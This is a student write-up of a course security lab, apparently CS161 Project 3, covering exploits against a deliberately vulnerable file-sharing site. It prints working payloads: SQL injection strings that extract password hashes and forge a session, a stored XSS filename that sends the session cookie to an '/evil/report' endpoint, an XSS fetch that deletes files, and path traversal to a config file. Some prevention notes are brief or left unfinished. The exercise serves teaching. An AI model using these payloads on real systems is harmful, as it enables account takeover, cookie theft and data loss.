---
# System prepended metadata

title: Project 3 - Write up

---

# Project 3 - Write up 

## Flag 3 - Shomil 

In this exploit, we first found the input field that parses the argument as a SQL Query. We saw that the search input on the List files page uses SQL query to find the matching files, and we performed an SQL injection attack within the this input box. 

Steps 
1. Login as any account 
2. Go to List Files and perform a SQL Injection attack
3. The SQL query we used was: `hello==' UNION SELECT md5_hash FROM users WHERE username=='shomil`
4. The result of the query was returned as a file searched. 

This can first be prevented by using input sanitization so the input in the search files field is first sanitized (some special characters are escaped et cetera). We could also use prepared statements so that the SQL query is parsed and then the input is used in the query. 

## Flag 4 - Nicholas 
In this exploit we first monitored the cookies used when a user logs in the vulnerable site. We see there is a `session_token`. We use the fact that the login mechanism uses SQL query that uses the `session_token` as an input. So we perform a SQL injection on the `session_token` value. 

Steps
1. Login as any user and monitor the cookies being used
2. Modify the session_token cookie value in Chrome Dev. Tools > Application > Cookies
3. Change the cookie value to: `' UNION select 'nicholas' from sessions where token=='hhg6T3545WnFbuANyKzY6w==' --`
4. Since the initial input would not match the session_token cookie, we will basically just have the SQL Query return 'nicholas' as the username
5. Also, we have the WHERE clause in SQL where we put token as the current token of the session. This would ensure there is atleast one match returned from the SQL query 

This can be prevented by using both input sanitization and prepared statements before using Cookies in the SQL statement to log in.  

## Flag 6 - Delete 
In this exploit, we create a link where we can execute Javascript. We decided to use the List files page and created the following link to get the page to execute our JS. 

Steps
1. Login as any user and then go List files page 
2. Use the following URL: UPDATE THE FOLLOWING LINK 
3. `https://box.cs161.org/site/search?term=%3Cscript%3Efetch%28%22%22%2C+%7Bmethod%3A+%22POST%22%7D%29%3C%2Fscript%3E`

We can prevent this by 


## Flag 5 - Leak 161 Session Cookie 
In this Stored XSS attack, we exploit the fact that the anything in `<script>` tag is executed on the list files page. So, we rename any random file to: `<script>fetch('/evil/report?message='+document.cookie)</script>` and then share it with cs161. Now in the background as cs161 visits list files page, this script is rendered and hence we get the session cookie for cs161 in the `evil/logs` page. Hence, we perform a Stored XSS attack within the filename to leak the user's session cookie.

This can be prevented by input sanitization.

## Flag 6 - Create a link that deletes users' files
In this exploit, we conduct a Reflected XSS attack in the search bar of the `List Files` page. We entered `<script>fetch("https://proj3.cs161.org/site/deleteFiles", (method:"POST"))` within the search bar to execute a POST request that deletes all files. 

Sanitizing and escaping user input can be used to prevent such attacks.

## Flag 7 - Gain Access to the Admin Panel 
In this exploit, we first find the username of the admin account. To do this we perform a SQL injection attack in the search files input field using the following SQL Query: `' UNION SELECT username FROM users WHERE username LIKE=='%admin%'`. This returned `uboxadmin` as one of the username, and we find the md5_hash of the password of `uboxadmin` following steps in Flag 3. Once we get the Hash, then we just used Google to find the reverse the hash and find the plaintext which when hash resulted in this hashed password; this is the admin's password for his normal account. Since, it was a common password (`helloworld`) we were able to get the original password. We then exploited the fact that individuals reuse passwords, and we used the password `helloworld` to login to the Admin panel. 

This would've been prevented by salting, since then it would've been a lot more difficult to reverse the hash.

## Flag 8 - Config 
In this, we perform a path traversal attack within the file name on the website to get access to a file that is not directly allowed to any user. We rename one of the files listed on the list files page to the following: `../config/config.yml`. Now when we open this file, then we get the contents of `config.yml`. 

This can be prevented by sanitization.
